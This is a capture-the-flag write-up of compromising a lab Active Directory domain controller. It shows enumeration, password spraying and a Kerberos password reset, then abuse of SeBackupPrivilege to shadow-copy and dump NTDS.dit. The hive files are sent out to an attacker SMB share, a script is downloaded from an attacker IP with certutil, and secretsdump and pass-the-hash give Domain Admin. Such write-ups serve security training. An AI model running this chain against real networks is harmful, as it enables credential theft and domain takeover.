Post

Compromising a full AD environment (volume shadow copying and ntds.dit dumping)

Compromising a full AD environment (volume shadow copying and ntds.dit dumping)

Baby - Writeup

By innocentx0

Target: 10.129.234.71 , Domain: baby.vl , DC: BABYDC

Recon

Rustscan

1
2
❯ rustscan -a 10.129.234.71 --ulimit 5000 -g
10.129.234.71 -> [53,88,135,139,389,445,464,593,636,3268,3269,5985,49664,49668,61016,61022,62782,62794,61015]

Nmap

1
❯ nmap -sT -A -Pn -T5 -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,49664,49668,61016,61022,62782,62794,61015 10.129.234.71
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: baby.vl)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: baby.vl)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0
...
Service Info: Host: BABYDC; OS: Windows; CPE: cpe:/o:microsoft:windows

| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required

Classic Windows Server 2022 Domain Controller profile. SMB signing is enforced, so relay is out , this box is going to be enumeration-driven.

A quick follow-up UDP sweep also turned up port 123 (NTP) open.

Services overview

  • 53/DNS , zone transfer check
  • 88/Kerberos , username enumeration, AS-REP roasting
  • 445/SMB + RPC , null/anonymous access, share and user enum
  • 389/LDAP , user and object enumeration
  • 5985/WinRM , target for authenticated access

DNS

1
2
❯ dig axfr baby.vl @10.129.234.71
;; Transfer failed.

Not vulnerable to zone transfer.

SMB / RPC

1
2
❯ nxc smb 10.129.234.71 -u 'Guest'
SMB  10.129.234.71  445  BabyDC  [*] Windows Server 2022 Build 20348 x64 (name:BabyDC) (domain:baby.vl) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)

Null auth is accepted , Guest access confirmed. Build 20348 is also notably associated with CVE-2026-26128, flagged as a possible lead but not pursued further here.

Username enumeration , Kerbrute

1
2
3
❯ kerbrute userenum -d baby.vl --dc baby.vl /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
...
[+] VALID USERNAME: administrator@baby.vl

LDAP enumeration

Anonymous LDAP against port 389 dumped the full user list, including a password planted in a user’s description field:

1
LDAP  10.129.234.71  389  BABYDC  Teresa.Bell  2021-11-21  0  Set initial password to BabyXXXXXXXXXX23!

Users recovered:

1
2
3
4
5
6
7
8
9
Guest
Jacqueline.Barnett
Ashley.Webb
Hugh.George
Leonard.Dyer
Connor.Wilkinson
Joseph.Hughes
Kerry.Wilson
Teresa.Bell

→ Candidate credential: Teresa.Bell : BabXXXXXXXXXX3!

Password spray / AS-REP roasting

Straight NTLM auth with the leaked credential, and AS-REP roasting against the user list, both came up empty:

1
2
❯ nxc smb 10.129.234.71 -u ldap_clear.txt -p 'BabySXXXXXXXXXX23!'
❯ GetNPUsers.py baby.vl/ -dc-ip 10.129.234.71 -usersfile ldap_clear.txt

Nothing. Time to try authenticating over Kerberos instead of NTLM.

Setting up Kerberos auth

1
2
❯ nxc smb 10.129.234.71 --generate-krb5-file ./a.conf
export KRB5_CONFIG=./a.conf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[libdefaults]
    dns_lookup_kdc = false
    dns_lookup_realm = false
    default_realm = BABY.VL

[realms]
    BABY.VL = {
        kdc = babydc.baby.vl
        admin_server = babydc.baby.vl
        default_domain = baby.vl
    }

[domain_realm]
    .baby.vl = BABY.VL
    baby.vl = BABY.VL

Gotcha: the realm must be uppercase (BABY.VL), otherwise kinit fails to resolve the KDC.

1
❯ kinit Teresa.Bell@BABY.VL

A Kerberos-based password spray across the user list with BabyStart123! also failed via kerbrute passwordspray.

Finding the real spray hit

Querying LDAP with ldapsearch and grepping for dn surfaced two more usernames not caught by the earlier enumeration , Ian.Walker and Caroline.Robinson. Respraying the full list against LDAP directly:

1
2
3
❯ nxc ldap baby.vl -u users.txt -p 'BabyStart123!'
...
LDAP  10.129.116.120  389  BABYDC  [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE

STATUS_PASSWORD_MUST_CHANGE , valid credential, password just needs rotating.

Credential rotation via kinit

1
2
3
4
5
❯ kinit Caroline.Robinson@BABY.VL
Password for Caroline.Robinson@BABY.VL:
Password expired.  You must change it now.
Enter new password:
Enter it again:
1
2
cp /tmp/krb5cc_1000 ./
export KRB5CCNAME=./krb5cc_1000

With a valid TGT in the cache, Caroline.Robinson now has authenticated access to the domain.

WinRM access & privilege check

1
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> whoami /priv
1
2
3
4
5
Privilege Name                Description                     State
SeMachineAccountPrivilege     Add workstations to domain      Enabled
SeBackupPrivilege             Back up files and directories   Enabled
SeRestorePrivilege            Restore files and directories   Enabled
SeShutdownPrivilege           Shut down the system            Enabled

SeBackupPrivilege is the key here , full read access to any file on disk regardless of ACLs, including NTDS.dit.

Shadow copy + NTDS extraction

Create a VSS snapshot via diskshadow and pull NTDS.dit plus the registry hives off it.

1
2
3
4
5
6
# shadow.txt (built on Linux, CRLF line endings required)
set context persistent nowriters
set metadata C:\Windows\Temp\metadata.cab
add volume C: alias tk
create
expose %tk% Z:
1
sed -i 's/$/\r/' shadow.txt

Transfer and execute on the target:

1
2
3
4
5
certutil -f -urlcache -split http://10.10.14.62:9090/shadow.txt
diskshadow /s shadow.txt

robocopy /b z:\Windows\NTDS\ C:\temp ntds.dit
robocopy /b z:\Windows\System32\Config C:\temp SAM SYSTEM SECURITY

Exfiltrate over SMB:

1
2
3
4
5
6
# attacker
sudo smbserver.py share ./ -smb2support

# target
move ntds.dit \\10.10.14.62\share
move SYSTEM \\10.10.14.62\share

Dumping hashes with secretsdump

1
❯ sudo secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL -outputfile hashes
1
2
3
4
5
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ee4457ae59fXXXXXXXXXXXXXXXX3d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae93XXXXXXXXXX0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6da4842e8c24b99adXXXXXXXXXX0893884:::
baby.vl\Caroline.Robinson:1115:aad3b435b51404eeaad3b435b51404ee:5fa67a13XXXXXXXXXXd41bb4ff8bfd7da5e2b5:::
...

Full domain NTDS dump, including the Administrator NT hash.

Domain Admin

Pass-the-hash straight into WinRM as Administrator:

1
❯ evil-winrm -i baby.vl -u administrator -H 'ee4457ae59f1e3fbd76XXXXXXXXXX3d'

Access as Domain Administrator.

Chain summary

  1. Null/anonymous LDAP + SMB enumeration → user list and a password leaked in a description field (Teresa.Bell)
  2. NTLM auth and AS-REP roasting fail → switch to Kerberos-only authentication (kinit, uppercase realm)
  3. Respray reveals Caroline.Robinson with an expired password (STATUS_PASSWORD_MUST_CHANGE)
  4. Reset password via kinit, obtain WinRM access
  5. SeBackupPrivilege → VSS snapshot via diskshadow → exfiltrate NTDS.dit + SYSTEM
  6. secretsdump.py → full domain hash dump
  7. Pass-the-hash as Administrator → Domain Admin
This post is licensed under CC BY 4.0 by the author.